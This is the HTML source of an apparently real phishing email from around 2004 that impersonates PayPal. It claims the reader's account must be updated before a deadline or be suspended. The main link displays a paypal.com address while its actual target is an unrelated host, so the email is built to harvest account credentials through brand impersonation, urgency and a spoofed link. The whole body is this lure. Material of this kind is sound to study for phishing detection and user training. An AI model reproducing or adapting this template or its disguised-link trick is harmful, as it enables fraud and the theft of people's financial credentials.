<HTML>
<body>
<A href="http://www.paypal.com/cgi-bin/webscr?cmd=_home"><IMG src="https://www.paypal.com/en_US/i/logo/paypal_logo.gif" border=0></A>
<TABLE cellSpacing=0 cellPadding=0 width=600 align=center border=0>
<TBODY>
<TR>
<TD colSpan=3><IMG height=2 src="pp.files/pixel.gif" width=2></TD></TR></TBODY></TABLE>
<P><FONT size=2><FONT face=Verdana>Dear valued <STRONG><STRONG><SPAN style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana">PayPal<SUP>®</SUP></SPAN></STRONG> </STRONG>member</FONT>: <BR></FONT><BR></P>
<P><FONT face=Verdana size=2>It has come to our attention that your <SPAN style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"><STRONG>PayPal<SUP>®</SUP></STRONG></SPAN> account information needs to be <BR>updated as part of our continuing commitment to protect your account and to <BR>reduce the instance of fraud on our website. </FONT><FONT face=Verdana size=2><FONT face=Verdana size=2> If you could please take 5-10 minutes <BR>out of your </FONT><FONT face=Verdana size=2>online </FONT><FONT face=Verdana size=2>experience and update your personal records you will not run into <BR>any future </FONT><FONT face=Verdana size=2>problems with the online service. <BR> </FONT></P>
<P><FONT face=Verdana size=2>However, failure to update your records will result in account suspension. <BR>Please update your records on or before <FONT color=red><STRONG>December 21, 2004</STRONG>.</FONT> <BR><BR>Once you have updated your account records, your <SPAN style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"><STRONG>PayPal<SUP>®</SUP></STRONG></SPAN> session will not be <BR>interrupted and will continue as normal. </FONT></P>
<P><FONT face=Verdana size=2>To update your <SPAN style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"><STRONG>PayPal<SUP>®</SUP></STRONG></SPAN> records click on the following link: <BR></FONT><BR><A href="http://smtp.brain.net.pk/cgibin/home.html"><FONT face=Verdana size=2>http://www.paypal.com/cgi-bin/webscr?cmd=_home</FONT></A></P>
<P><FONT face=Verdana size=2></FONT> </P>
<P><FONT face=Verdana size=2>Thank You. <BR><SPAN style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"><STRONG>PayPal<SUP>® </SUP><SPAN style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana">UPDATE </SPAN></STRONG><SPAN style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"><STRONG>TEAM</STRONG></SPAN></SPAN> </P>
<P><FONT face=Verdana size=2>Accounts Management As outlined in our User Agreement, <SPAN style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"><STRONG>PayPal<SUP>®</SUP></STRONG></SPAN> will <BR>periodically send you information about site changes and enhancements. </FONT></P>
<P><FONT face=Verdana size=2>Visit our Privacy Policy </FONT><FONT face=Verdana size=2>and User Agreement if you have any questions. <BR></FONT><A href="http://www.paypal.com/cgi-bin/webscr?cmd=p/gen/ua/policy_privacy-outside"><FONT face=Verdana size=2>http://www.paypal.com/cgi-bin/webscr?cmd=p/gen/ua/policy_privacy-outside</FONT></A></P>
<P> </P></FORM></FONT></FONT></BODY></HTML>